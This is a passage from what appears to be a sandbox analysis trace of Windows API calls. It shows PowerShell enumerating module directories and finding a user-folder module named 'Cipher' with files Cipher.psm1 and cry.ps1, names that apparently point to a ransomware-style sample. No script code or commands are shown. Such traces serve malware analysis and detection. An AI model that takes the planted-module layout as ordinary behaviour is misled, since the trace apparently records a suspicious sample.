"c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0157.754] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0157.754] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0157.754] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0157.755] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0157.755] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0157.755] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0157.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0157.755] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0157.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecd4) returned 1 [0157.755] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0157.755] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0157.756] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2ea84 | out: lpFindFileData=0x5a2ea84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b49a8 [0157.756] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.756] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0157.756] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 1 [0157.756] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 0 [0157.756] FindClose (in: hFindFile=0x3b49a8 | out: hFindFile=0x3b49a8) returned 1 [0157.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea44) returned 1 [0157.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eca4) returned 1 [0157.756] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psd1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psd1")) returned 0xffffffff [0157.757] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0157.757] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0157.757] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0157.757] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0157.757] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0157.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea4c) returned 1 [0157.757] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x233823c | out: lpFileInformation=0x233823c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0157.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea48) returned 1 [0157.760] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0157.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecd4) returned 1 [0157.761] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0157.761] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0157.761] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\*"), lpFindFileData=0x5a2ea84 | out: lpFindFileData=0x5a2ea84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b49a8 [0157.762] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.762] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0157.762] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0157.762] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.762] FindClose (in: hFindFile=0x3b49a8 | out: hFindFile=0x3b49a8) returned 1 [0157.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea44) returned 1 [0157.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eca4) returned 1 [0157.763] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0157.763] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0157.763] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0157.763] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0157.763] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0157.763] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0157.763] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0157.763] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0157.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0157.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0157.854] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0157.854] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0157.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0157.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0157.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecd4) returned 1 [0157.855] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0157.855] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0157.855] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\*"), lpFindFileData=0x5a2ea84 | out: lpFindFileData=0x5a2ea84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b49a8 [0157.855] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.855] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0157.855] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.856] FindClose (in: hFindFile=0x3b49a8 | out: hFindFile=0x3b49a8) returned 1 [0157.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea44) returned 1 [0157.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eca4) returned 1 [0157.856] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0157.856] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0157.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea28) returned 1 [0157.856] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2ecec | out: lpFileInformation=0x5a2ecec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0157.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea24) returned 1 [0157.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0157.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0157.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0157.943] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0157.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea4c) returned 1 [0157.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x233d350 | out: lpFileInformation=0x233d350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0157.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea48) returned 1 [0157.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0157.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0157.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebb4) returned 1 [0157.947] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f4 [0157.947] GetFileType (hFile=0x3f4) returned 0x1 [0157.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ebb0) returned 1 [0157.947] GetFileType (hFile=0x3f4) returned 0x1 [0157.947] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x0 [0157.948] ReadFile (in: hFile=0x3f4, lpBuffer=0x233e3bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x233e3bc*, lpNumberOfBytesRead=0x5a2ec1c*=0x8f9, lpOverlapped=0x0) returned 1 [0158.020] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x8f9 [0158.020] ReadFile (in: hFile=0x3f4, lpBuffer=0x233d849, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x233d849*, lpNumberOfBytesRead=0x5a2ec1c*=0x0, lpOverlapped=0x0) returned 1 [0158.020] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x8f9 [0158.021] ReadFile (in: hFile=0x3f4, lpBuffer=0x233e3bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x233e3bc*, lpNumberOfBytesRead=0x5a2ec1c*=0x0, lpOverlapped=0x0) returned 1 [0158.022] CloseHandle (hObject=0x3f4) returned 1 [0158.212] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0158.212] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0158.213] GetFileAttributesW (lpFileName="C:\\Program Files 